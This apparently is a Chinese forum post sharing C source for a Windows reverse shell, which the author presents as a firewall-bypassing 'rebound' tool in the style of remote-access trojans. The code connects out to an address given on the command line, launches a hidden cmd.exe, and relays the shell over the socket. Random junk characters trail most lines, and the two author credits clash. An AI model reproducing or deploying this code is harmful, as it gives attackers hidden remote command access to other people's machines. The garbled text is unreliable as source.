Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 @!K)(B;A0b  
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/* ============================== {Rbc  
Rebound port in Windows NT Ll&Y_Ry  
By wind,2006/7 }"_S;[{d  
===============================*/ 2<<,a
L*  
#include GT*\gZ  
#include B<+}_3.  
*-gS u  
#pragma comment(lib,"wsock32.lib") +   
tV%M2DxS  
void OutputShell(); }`>u+iH#a  
SOCKET sClient; qA&N6`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '%)7%O,2  
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void main(int argc,char **argv) zX|CW;  
{ F!N;4J5u  
WSADATA stWsaData; tZ4W]od  
int nRet; )PR{ia64;<  
SOCKADDR_IN stSaiClient,stSaiServer; Z1*y$=D?3[  
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if(argc != 3) qksN {t  
{ \9<aCJxN  
printf("Useage:\n\rRebound DestIP DestPort\n"); mM>{^%2Q:  
return; #j
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} hCc I >[H5  
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WSAStartup(MAKEWORD(2,2),&stWsaData); C S+6!F]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4km=KOx[  
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stSaiClient.sin_family = AF_INET; F@&q4whaVD  
stSaiClient.sin_port = htons(0); OyFBM>6gh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >H[&Wa+_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8!E$0^)c|  
{ 8%2*RKj  
printf("Bind Socket Failed!\n"); pX|\J>u)
  
return; 6i,d|  
} 6Kg lp\2  
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stSaiServer.sin_family = AF_INET; j2g#t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iC$~v#2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V/<dHOfR\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wvsTP32]  
{ %<:?{<~wH9  
printf("Connect Error!"); Z=4Krfn  
return; ,.G6c=pZ  
}
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OutputShell(); 1z0&+C3z  
} YtE V8w_$  
d{I|4h  
void OutputShell() ?}lgwKBHl;  
{ QV7K~qi  
char szBuff[1024]; }[$C=|>  
SECURITY_ATTRIBUTES stSecurityAttributes; 5c`DkWne%  
OSVERSIONINFO stOsversionInfo; % ;09J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8kX3.X`  
STARTUPINFO stStartupInfo; %TvunV7NQS  
char *szShell; DSD#',  
PROCESS_INFORMATION stProcessInformation; \snbU'lfP  
unsigned long lBytesRead; :>;-uve8'  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C KBLM2D  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rN8 ZQiJC  
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; i8+kc_8#d  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vUY?Eb[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A<QYW,:|  
bvk+i?{H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V!a|rTU6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F;}?O==H;  
stStartupInfo.wShowWindow = SW_HIDE; `{<2{}2M  
stStartupInfo.hStdInput = hReadPipe; C<eeAWP3v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _)ZAf%f?  
;9/6X
#;$  
GetVersionEx(&stOsversionInfo); .9S  
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switch(stOsversionInfo.dwPlatformId) YLJH?=2@  
{
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case 1: (/Hq8o-Fw  
szShell = "command.com"; \bZbz/+D  
break; (+q?xwl!N  
default: o#4Wn'E  
szShell = "cmd.exe"; wwmMpK}f  
break; LPvyfD;Zy  
} *.~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9Or3X
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send(sClient,szMsg,77,0); w1h07_u;v  
while(1) "u3  
{ Oh5(8.<y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =3}@\f#  
if(lBytesRead) {y)s85:t  
{ L_=J(H|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #}^
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send(sClient,szBuff,lBytesRead,0); )p).}"   
} sbQmPV  
else o>\jc  
{ Qf$0^$ "  
lBytesRead=recv(sClient,szBuff,1024,0); _bMD|  
if(lBytesRead<=0) break; %]nLCoQh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 67~m9pk  
} |^^;v|  
} u%JM0180  
XCDHd ?Ld  
return; plv"/KJM  
}